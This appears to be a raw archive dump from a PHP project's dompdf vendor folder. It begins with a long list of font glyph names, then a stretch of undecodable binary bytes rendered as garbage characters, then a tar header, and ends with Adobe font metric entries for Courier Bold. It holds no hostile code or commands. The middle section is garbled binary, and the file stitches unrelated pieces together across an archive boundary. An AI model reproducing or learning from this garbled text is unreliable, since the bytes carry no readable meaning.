perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22B0uni22B1uni22B2uni22B3uni22B4uni22B5uni22B6uni22B7uni22B8uni22B9uni22BAuni22BBuni22BCuni22BDuni22BEuni22BFuni22C0uni22C1uni22C2uni22C3uni22C4dotmathuni22C6uni22C7uni22C8uni22C9uni22CAuni22CBuni22CCuni22CDuni22CEuni22CFuni22D0uni22D1uni22D2uni22D3uni22D4uni22D5uni22D6uni22D7uni22D8uni22D9uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EAuni22EBuni22ECuni22EDuni22EEuni22EFuni22F0uni22F1uni22F2uni22F3uni22F4uni22F5uni22F6uni22F7uni22F8uni22F9uni22FAuni22FBuni22FCuni22FDuni22FEuni22FFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2307uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2324uni2325uni2326uni2327uni2328uni232Buni232Cuni2373uni2374uni2375uni237Auni237Duni2387uni2394uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni23E3uni23E5uni23E8uni2422uni2423uni2460uni2461uni2462uni2463uni2464uni2465uni2466uni2467uni2468uni2469SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2601uni2602uni2603uni2604uni2605uni2606uni2607uni2608uni2609uni260Auni260Buni260Cuni260Duni260Euni260Funi2610uni2611uni2612uni2613uni2614uni2615uni2616uni2617uni2618uni2619uni261Auni261Buni261Cuni261Duni261Euni261Funi2620uni2621uni2622uni2623uni2624uni2625uni2626uni2627uni2628uni2629uni262Auni262Buni262Cuni262Duni262Euni262Funi2630uni2631uni2632uni2633uni2634uni2635uni2636uni2637uni2638uni2639	smilefaceinvsmilefacesununi263Duni263Euni263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647uni2648uni2649uni264Auni264Buni264Cuni264Duni264Euni264Funi2650uni2651uni2652uni2653uni2654uni2655uni2656uni2657uni2658uni2659uni265Auni265Buni265Cuni265Duni265Euni265Fspadeuni2661uni2662clubuni2664heartdiamonduni2667uni2668uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi2670uni2671uni2672uni2673uni2674uni2675uni2676uni2677uni2678uni2679uni267Auni267Buni267Cuni267Duni267Euni267Funi2680uni2681uni2682uni2683uni2684uni2685uni2686uni2687uni2688uni2689uni268Auni268Buni268Cuni268Duni268Euni268Funi2690uni2691uni2692uni2693uni2694uni2695uni2696uni2697uni2698uni2699uni269Auni269Buni269Cuni269Euni269Funi26A0uni26A1uni26A2uni26A3uni26A4uni26A5uni26A6uni26A7uni26A8uni26A9uni26AAuni26ABuni26ACuni26ADuni26AEuni26AFuni26B0uni26B1uni26B2uni26B3uni26B4uni26B5uni26B6uni26B7uni26B8uni26C0uni26C1uni26C2uni26C3uni26E2uni2701uni2702uni2703uni2704uni2706uni2707uni2708uni2709uni270Cuni270Duni270Euni270Funi2710uni2711uni2712uni2713uni2714uni2715uni2716uni2717uni2718uni2719uni271Auni271Buni271Cuni271Duni271Euni271Funi2720uni2721uni2722uni2723uni2724uni2725uni2726uni2727uni2729uni272Auni272Buni272Cuni272Duni272Euni272Funi2730uni2731uni2732uni2733uni2734uni2735uni2736uni2737uni2738uni2739uni273Auni273Buni273Cuni273Duni273Euni273Funi2740uni2741uni2742uni2743uni2744uni2745uni2746uni2747uni2748uni2749uni274Auni274Buni274Duni274Funi2750uni2751uni2752uni2756uni2758uni2759uni275Auni275Buni275Cuni275Duni275Euni2761uni2762uni2763uni2764uni2765uni2766uni2767uni2768uni2769uni276Auni276Buni276Cuni276Duni276Euni276Funi2770uni2771uni2772uni2773uni2774uni2775uni2776uni2777uni2778uni2779uni277Auni277Buni277Cuni277Duni277Euni277Funi2780uni2781uni2782uni2783uni2784uni2785uni2786uni2787uni2788uni2789uni278Auni278Buni278Cuni278Duni278Euni278Funi2790uni2791uni2792uni2793uni2794uni2798uni2799uni279Auni279Buni279Cuni279Duni279Euni279Funi27A0uni27A1uni27A2uni27A3uni27A4uni27A5uni27A6uni27A7uni27A8uni27A9uni27AAuni27ABuni27ACuni27ADuni27AEuni27AFuni27B1uni27B2uni27B3uni27B4uni27B5uni27B6uni27B7uni27B8uni27B9uni27BAuni27BBuni27BCuni27BDuni27BEuni27C5uni27C6uni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2906uni2907uni290Auni290Buni2940uni2941uni2983uni2984uni29CEuni29CFuni29D0uni29D1uni29D2uni29D3uni29D4uni29D5uni29EBuni29FAuni29FBuni2A00uni2A01uni2A02uni2A0Cuni2A0Duni2A0Euni2A0Funi2A10uni2A11uni2A12uni2A13uni2A14uni2A15uni2A16uni2A17uni2A18uni2A19uni2A1Auni2A1Buni2A1Cuni2A2Funi2A6Auni2A6Buni2A7Duni2A7Euni2A7Funi2A80uni2A81uni2A82uni2A83uni2A84uni2A85uni2A86uni2A87uni2A88uni2A89uni2A8Auni2A8Buni2A8Cuni2A8Duni2A8Euni2A8Funi2A90uni2A91uni2A92uni2A93uni2A94uni2A95uni2A96uni2A97uni2A98uni2A99uni2A9Auni2A9Buni2A9Cuni2A9Duni2A9Euni2A9Funi2AA0uni2AAEuni2AAFuni2AB0uni2AB1uni2AB2uni2AB3uni2AB4uni2AB5uni2AB6uni2AB7uni2AB8uni2AB9uni2ABAuni2AF9uni2AFAuni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2B1Funi2B20uni2B21uni2B22uni2B23uni2B24uni2B53uni2B54uni2C60uni2C61uni2C62uni2C63uni2C64uni2C65uni2C66uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C74uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2Euni4DC0uni4DC1uni4DC2uni4DC3uni4DC4uni4DC5uni4DC6uni4DC7uni4DC8uni4DC9uni4DCAuni4DCBuni4DCCuni4DCDuni4DCEuni4DCFuni4DD0uni4DD1uni4DD2uni4DD3uni4DD4uni4DD5uni4DD6uni4DD7uni4DD8uni4DD9uni4DDAuni4DDBuni4DDCuni4DDDuni4DDEuni4DDFuni4DE0uni4DE1uni4DE2uni4DE3uni4DE4uni4DE5uni4DE6uni4DE7uni4DE8uni4DE9uni4DEAuni4DEBuni4DECuni4DEDuni4DEEuni4DEFuni4DF0uni4DF1uni4DF2uni4DF3uni4DF4uni4DF5uni4DF6uni4DF7uni4DF8uni4DF9uni4DFAuni4DFBuni4DFCuni4DFDuni4DFEuni4DFFuniA4D0uniA4D1uniA4D2uniA4D3uniA4D4uniA4D5uniA4D6uniA4D7uniA4D8uniA4D9uniA4DAuniA4DBuniA4DCuniA4DDuniA4DEuniA4DFuniA4E0uniA4E1uniA4E2uniA4E3uniA4E4uniA4E5uniA4E6uniA4E7uniA4E8uniA4E9uniA4EAuniA4EBuniA4ECuniA4EDuniA4EEuniA4EFuniA4F0uniA4F1uniA4F2uniA4F3uniA4F4uniA4F5uniA4F6uniA4F7uniA4F8uniA4F9uniA4FAuniA4FBuniA4FCuniA4FDuniA4FEuniA4FFuniA644uniA645uniA646uniA647uniA64CuniA64DuniA650uniA651uniA654uniA655uniA656uniA657uniA662uniA663uniA664uniA665uniA666uniA667uniA668uniA669uniA66AuniA66BuniA66CuniA66DuniA66EuniA68AuniA68BuniA68CuniA68DuniA694uniA695uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA728uniA729uniA72AuniA72BuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA748uniA749uniA74AuniA74BuniA74EuniA74FuniA750uniA751uniA752uniA753uniA756uniA757uniA764uniA765uniA766uniA767uniA780uniA781uniA782uniA783uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7A0uniA7A1uniA7A2uniA7A3uniA7A4uniA7A5uniA7A6uniA7A7uniA7A8uniA7A9uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FF	uni02E5.5	uni02E6.5	uni02E7.5	uni02E8.5	uni02E9.5	uni02E5.4	uni02E6.4	uni02E7.4	uni02E8.4	uni02E9.4	uni02E5.3	uni02E6.3	uni02E7.3	uni02E8.3	uni02E9.3	uni02E5.2	uni02E6.2	uni02E7.2	uni02E8.2	uni02E9.2	uni02E5.1	uni02E6.1	uni02E7.1	uni02E8.1	uni02E9.1stemuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF429uniF42AuniF42BuniF42CuniF42DuniF42EuniF42FuniF430uniF431uniF432uniF433uniF434uniF435uniF436uniF437uniF438uniF439uniF43AuniF43BuniF43CuniF43DuniF43EuniF43FuniF440uniF441uniF5C5uniFB00uniFB03uniFB04uniFB05uniFB06uniFB13uniFB14uniFB15uniFB16uniFB17uniFB1DuniFB1EuniFB1FuniFB20uniFB21uniFB22uniFB23uniFB24uniFB25uniFB26uniFB27uniFB28uniFB29uniFB2AuniFB2BuniFB2CuniFB2DuniFB2EuniFB2FuniFB30uniFB31uniFB32uniFB33uniFB34uniFB35uniFB36uniFB37uniFB38uniFB39uniFB3AuniFB3BuniFB3CuniFB3DuniFB3EuniFB3FuniFB40uniFB41uniFB42uniFB43uniFB44uniFB45uniFB46uniFB47uniFB48uniFB49uniFB4AuniFB4BuniFB4CuniFB4DuniFB4EuniFB4FuniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFE20uniFE21uniFE22uniFE23uniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu10300u10301u10302u10303u10304u10305u10306u10307u10308u10309u1030Au1030Bu1030Cu1030Du1030Eu1030Fu10310u10311u10312u10313u10314u10315u10316u10317u10318u10319u1031Au1031Bu1031Cu1031Du1031Eu10320u10321u10322u10323u1D300u1D301u1D302u1D303u1D304u1D305u1D306u1D307u1D308u1D309u1D30Au1D30Bu1D30Cu1D30Du1D30Eu1D30Fu1D310u1D311u1D312u1D313u1D314u1D315u1D316u1D317u1D318u1D319u1D31Au1D31Bu1D31Cu1D31Du1D31Eu1D31Fu1D320u1D321u1D322u1D323u1D324u1D325u1D326u1D327u1D328u1D329u1D32Au1D32Bu1D32Cu1D32Du1D32Eu1D32Fu1D330u1D331u1D332u1D333u1D334u1D335u1D336u1D337u1D338u1D339u1D33Au1D33Bu1D33Cu1D33Du1D33Eu1D33Fu1D340u1D341u1D342u1D343u1D344u1D345u1D346u1D347u1D348u1D349u1D34Au1D34Bu1D34Cu1D34Du1D34Eu1D34Fu1D350u1D351u1D352u1D353u1D354u1D355u1D356u1D538u1D539u1D53Bu1D53Cu1D53Du1D53Eu1D540u1D541u1D542u1D543u1D544u1D546u1D54Au1D54Bu1D54Cu1D54Du1D54Eu1D54Fu1D550u1D552u1D553u1D554u1D555u1D556u1D557u1D558u1D559u1D55Au1D55Bu1D55Cu1D55Du1D55Eu1D55Fu1D560u1D561u1D562u1D563u1D564u1D565u1D566u1D567u1D568u1D569u1D56Au1D56Bu1D63Cu1D63Du1D63Eu1D63Fu1D640u1D641u1D642u1D643u1D644u1D645u1D646u1D647u1D648u1D649u1D64Au1D64Bu1D64Cu1D64Du1D64Eu1D64Fu1D650u1D651u1D652u1D653u1D654u1D655u1D656u1D657u1D658u1D659u1D65Au1D65Bu1D65Cu1D65Du1D65Eu1D65Fu1D660u1D661u1D662u1D663u1D664u1D665u1D666u1D667u1D668u1D669u1D66Au1D66Bu1D66Cu1D66Du1D66Eu1D66Fu1D790u1D791u1D792u1D793u1D794u1D795u1D796u1D797u1D798u1D799u1D79Au1D79Bu1D79Cu1D79Du1D79Eu1D79Fu1D7A0u1D7A1u1D7A2u1D7A3u1D7A4u1D7A5u1D7A6u1D7A7u1D7A8u1D7A9u1D7AAu1D7ABu1D7ACu1D7ADu1D7AEu1D7AFu1D7B0u1D7B1u1D7B2u1D7B3u1D7B4u1D7B5u1D7B6u1D7B7u1D7B8u1D7B9u1D7BAu1D7BBu1D7BCu1D7BDu1D7BEu1D7BFu1D7C0u1D7C1u1D7C2u1D7C3u1D7C4u1D7C5u1D7C6u1D7C7u1D7C8u1D7C9u1D7D8u1D7D9u1D7DAu1D7DBu1D7DCu1D7DDu1D7DEu1D7DFu1D7E0u1D7E1u1F030u1F031u1F032u1F033u1F034u1F035u1F036u1F037u1F038u1F039u1F03Au1F03Bu1F03Cu1F03Du1F03Eu1F03Fu1F040u1F041u1F042u1F043u1F044u1F045u1F046u1F047u1F048u1F049u1F04Au1F04Bu1F04Cu1F04Du1F04Eu1F04Fu1F050u1F051u1F052u1F053u1F054u1F055u1F056u1F057u1F058u1F059u1F05Au1F05Bu1F05Cu1F05Du1F05Eu1F05Fu1F060u1F061u1F062u1F063u1F064u1F065u1F066u1F067u1F068u1F069u1F06Au1F06Bu1F06Cu1F06Du1F06Eu1F06Fu1F070u1F071u1F072u1F073u1F074u1F075u1F076u1F077u1F078u1F079u1F07Au1F07Bu1F07Cu1F07Du1F07Eu1F07Fu1F080u1F081u1F082u1F083u1F084u1F085u1F086u1F087u1F088u1F089u1F08Au1F08Bu1F08Cu1F08Du1F08Eu1F08Fu1F090u1F091u1F092u1F093u1F0A0u1F0A1u1F0A2u1F0A3u1F0A4u1F0A5u1F0A6u1F0A7u1F0A8u1F0A9u1F0AAu1F0ABu1F0ACu1F0ADu1F0AEu1F0B1u1F0B2u1F0B3u1F0B4u1F0B5u1F0B6u1F0B7u1F0B8u1F0B9u1F0BAu1F0BBu1F0BCu1F0BDu1F0BEu1F0C1u1F0C2u1F0C3u1F0C4u1F0C5u1F0C6u1F0C7u1F0C8u1F0C9u1F0CAu1F0CBu1F0CCu1F0CDu1F0CEu1F0CFu1F0D1u1F0D2u1F0D3u1F0D4u1F0D5u1F0D6u1F0D7u1F0D8u1F0D9u1F0DAu1F0DBu1F0DCu1F0DDu1F0DEu1F0DFu1F311u1F312u1F313u1F314u1F315u1F316u1F317u1F318u1F42Du1F42Eu1F431u1F435u1F600u1F601u1F602u1F603u1F604u1F605u1F606u1F607u1F608u1F609u1F60Au1F60Bu1F60Cu1F60Du1F60Eu1F60Fu1F610u1F611u1F612u1F613u1F614u1F615u1F616u1F617u1F618u1F619u1F61Au1F61Bu1F61Cu1F61Du1F61Eu1F61Fu1F620u1F621u1F622u1F623u1F625u1F626u1F627u1F628u1F629u1F62Au1F62Bu1F62Du1F62Eu1F62Fu1F630u1F631u1F632u1F633u1F634u1F635u1F636u1F637u1F638u1F639u1F63Au1F63Bu1F63Cu1F63Du1F63Eu1F63Fu1F640u1F643	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronBreve	DotaccentHungarumlautDoublegraveuni0311.caseEng.altuni0268.dotlessuni029D.dotlessuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307
brailledotJ.altl.altuni0478.monographuni0479.monographiogonek.dotlessuni2148.dotlessuni2149.dotlessuni1E2D.dotlessuni1ECB.dotlesscdoI.alt
arrow.basealpha.small.regulariota.small.regularrho.small.regularNameMe.65589	Ringaboveuni2630.altuni2631.altuni2632.altuni2633.altuni2634.altuni2635.altuni2636.altuni2637.altuni047E.diacuni048A.brevelessuni048B.brevelessy.altexclamdown.casequestiondown.caseuni2E18.case��@������:��:�dػ��������������}��}�Ȍ����YȌȀ��&�Y�@�&������������}�>����,���,����G�}�G�����������������
���
�@��
�2�
���Y�������Y�����������d��h�d�@��%���%�Y������������ ���%���Y�%���&�����Y���������]������%�]�@�%���d�X�����:���t�:���2�����������Y���~}|�{�z�yxwvtv�utu�tYtsYs}r�q&p�o�n�m
@�l�kjk�jj@ihi�hYhgYg�f\fe�dc�d�cb]c�c�bW%b]b@a�`_.`�_.^Y^]\] \[Y[KZYZ�YXYXW%V�U�T�S�R�Q�PO%P�O%NM�L�K�J�I�H	H@FE�F�E�DCD�CC@BdB@A}@�?>,>,=�<�;�:�94928�7265
6@��5
5@43
43
2�11}0/0d//.�-�,+,K++**K)()('
('
&%$%2$#"#"!%!� 
 2@

	@:�%d�d�:�%:��%K
��
	

�	
	@�d:@

@�d��++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/Courier-Bold.afm000066600000036723151150442760015461 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Mon Jun 23 16:28:00 0:00:00
Comment UniqueID 43048
Comment VMusage 41139 52164
FontName Courier-Bold
FullName Courier Bold
FamilyName Courier
Weight Bold
ItalicAngle 0
IsFixedPitch true
CharacterSet ExtendedRoman
FontBBox -113 -250 749 801
UnderlinePosition -100
UnderlineThickness 50
Version 003.000
Notice Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
EncodingScheme WinAnsiEncoding
CapHeight 562
XHeight 439
Ascender 629
Descender -157
StdHW 84
StdVW 106
StartCharMetrics 317
C 32 ; WX 600 ; N space ; B 0 0 0 0 ;
C 160 ; WX 600 ; N space ; B 0 0 0 0 ;
C 33 ; WX 600 ; N exclam ; B 202 -15 398 572 ;
C 34 ; WX 600 ; N quotedbl ; B 135 277 465 562 ;
C 35 ; WX 600 ; N numbersign ; B 56 -45 544 651 ;
C 36 ; WX 600 ; N dollar ; B 82 -126 519 666 ;
C 37 ; WX 600 ; N percent ; B 5 -15 595 616 ;
C 38 ; WX 600 ; N ampersand ; B 36 -15 546 543 ;
C 146 ; WX 600 ; N quoteright ; B 171 277 423 562 ;
C 40 ; WX 600 ; N parenleft ; B 219 -102 461 616 ;
C 41 ; WX 600 ; N parenright ; B 139 -102 381 616 ;
C 42 ; WX 600 ; N asterisk ; B 91 219 509 601 ;
C 43 ; WX 600 ; N plus ; B 71 39 529 478 ;
C 44 ; WX 600 ; N comma ; B 123 -111 393 174 ;
C 45 ; WX 600 ; N hyphen ; B 100 203 500 313 ;
C 173 ; WX 600 ; N hyphen ; B 100 203 500 313 ;
C 46 ; WX 600 ; N period ; B 192 -15 408 171 ;
C 47 ; WX 600 ; N slash ; B 98 -77 502 626 ;
C 48 ; WX 600 ; N zero ; B 87 -15 513 616 ;
C 49 ; WX 600 ; N one ; B 81 0 539 616 ;
C 50 ; WX 600 ; N two ; B 61 0 499 616 ;
C 51 ; WX 600 ; N three ; B 63 -15 501 616 ;
C 52 ; WX 600 ; N four ; B 53 0 507 616 ;
C 53 ; WX 600 ; N five ; B 70 -15 521 601 ;
C 54 ; WX 600 ; N six ; B 90 -15 521 616 ;
C 55 ; WX 600 ; N seven ; B 55 0 494 601 ;
C 56 ; WX 600 ; N eight ; B 83 -15 517 616 ;
C 57 ; WX 600 ; N nine ; B 79 -15 510 616 ;
C 58 ; WX 600 ; N colon ; B 191 -15 407 425 ;
C 59 ; WX 600 ; N semicolon ; B 123 -111 408 425 ;
C 60 ; WX 600 ; N less ; B 66 15 523 501 ;
C 61 ; WX 600 ; N equal ; B 71 118 529 398 ;
C 62 ; WX 600 ; N greater ; B 77 15 534 501 ;
C 63 ; WX 600 ; N question ; B 98 -14 501 580 ;
C 64 ; WX 600 ; N at ; B 16 -15 584 616 ;
C 65 ; WX 600 ; N A ; B -9 0 609 562 ;
C 66 ; WX 600 ; N B ; B 30 0 573 562 ;
C 67 ; WX 600 ; N C ; B 22 -18 560 580 ;
C 68 ; WX 600 ; N D ; B 30 0 594 562 ;
C 69 ; WX 600 ; N E ; B 25 0 560 562 ;
C 70 ; WX 600 ; N F ; B 39 0 570 562 ;
C 71 ; WX 600 ; N G ; B 22 -18 594 580 ;
C 72 ; WX 600 ; N H ; B 20 0 580 562 ;
C 73 ; WX 600 ; N I ; B 77 0 523 562 ;
C 74 ; WX 600 ; N J ; B 37 -18 601 562 ;
C 75 ; WX 600 ; N K ; B 21 0 599 562 ;
C 76 ; WX 600 ; N L ; B 39 0 578 562 ;
C 77 ; WX 600 ; N M ; B -2 0 602 562 ;
C 78 ; WX 600 ; N N ; B 8 -12 610 562 ;
C 79 ; WX 600 ; N O ; B 22 -18 578 580 ;
C 80 ; WX 600 ; N P ; B 48 0 559 562 ;
C 81 ; WX 600 ; N Q ; B 32 -138 578 580 ;
C 82 ; WX 600 ; N R ; B 24 0 599 562 ;
C 83 ; WX 600 ; N S ; B 47 -22 553 582 ;
C 84 ; WX 600 ; N T ; B 21 0 579 562 ;
C 85 ; WX 600 ; N U ; B 4 -18 596 562 ;
C 86 ; WX 600 ; N V ; B -13 0 613 562 ;
C 87 ; WX 600 ; N W ; B -18 0 618 562 ;
C 88 ; WX 600 ; N X ; B 12 0 588 562 ;
C 89 ; WX 600 ; N Y ; B 12 0 589 562 ;
C 90 ; WX 600 ; N Z ; B 62 0 539 562 ;
C 91 ; WX 600 ; N bracketleft ; B 245 -102 475 616 ;
C 92 ; WX 600 ; N backslash ; B 99 -77 503 626 ;
C 93 ; WX 600 ; N bracketright ; B 125 -102 355 616 ;
C 94 ; WX 600 ; N asciicircum ; B 108 250 492 616 ;
C 95 ; WX 600 ; N underscore ; B 0 -125 600 -75 ;
C 145 ; WX 600 ; N quoteleft ; B 178 277 428 562 ;
C 97 ; WX 600 ; N a ; B 35 -15 570 454 ;
C 98 ; WX 600 ; N b ; B 0 -15 584 626 ;
C 99 ; WX 600 ; N c ; B 40 -15 545 459 ;
C 100 ; WX 600 ; N d ; B 20 -15 591 626 ;
C 101 ; WX 600 ; N e ; B 40 -15 563 454 ;
C 102 ; WX 600 ; N f ; B 83 0 547 626 ; L i fi ; L l fl ;
C 103 ; WX 600 ; N g ; B 30 -146 580 454 ;
C 104 ; WX 600 ; N h ; B 5 0 592 626 ;
C 105 ; WX 600 ; N i ; B 77 0 523 658 ;
C 106 ; WX 600 ; N j ; B 63 -146 440 658 ;
C 107 ; WX 600 ; N k ; B 20 0 585 626 ;
C 108 ; WX 600 ; N l ; B 77 0 523 626 ;
C 109 ; WX 600 ; N m ; B -22 0 626 454 ;
C 110 ; WX 600 ; N n ; B 18 0 592 454 ;
C 111 ; WX 600 ; N o ; B 30 -15 570 454 ;
C 112 ; WX 600 ; N p ; B -1 -142 570 454 ;
C 113 ; WX 600 ; N q ; B 20 -142 591 454 ;
C 114 ; WX 600 ; N r ; B 47 0 580 454 ;
C 115 ; WX 600 ; N s ; B 68 -17 535 459 ;
C 116 ; WX 600 ; N t ; B 47 -15 532 562 ;
C 117 ; WX 600 ; N u ; B -1 -15 569 439 ;
C 118 ; WX 600 ; N v ; B -1 0 601 439 ;
C 119 ; WX 600 ; N w ; B -18 0 618 439 ;
C 120 ; WX 600 ; N x ; B 6 0 594 439 ;
C 121 ; WX 600 ; N y ; B -4 -142 601 439 ;
C 122 ; WX 600 ; N z ; B 81 0 520 439 ;
C 123 ; WX 600 ; N braceleft ; B 160 -102 464 616 ;
C 124 ; WX 600 ; N bar ; B 255 -250 345 750 ;
C 125 ; WX 600 ; N braceright ; B 136 -102 440 616 ;
C 126 ; WX 600 ; N asciitilde ; B 71 153 530 356 ;
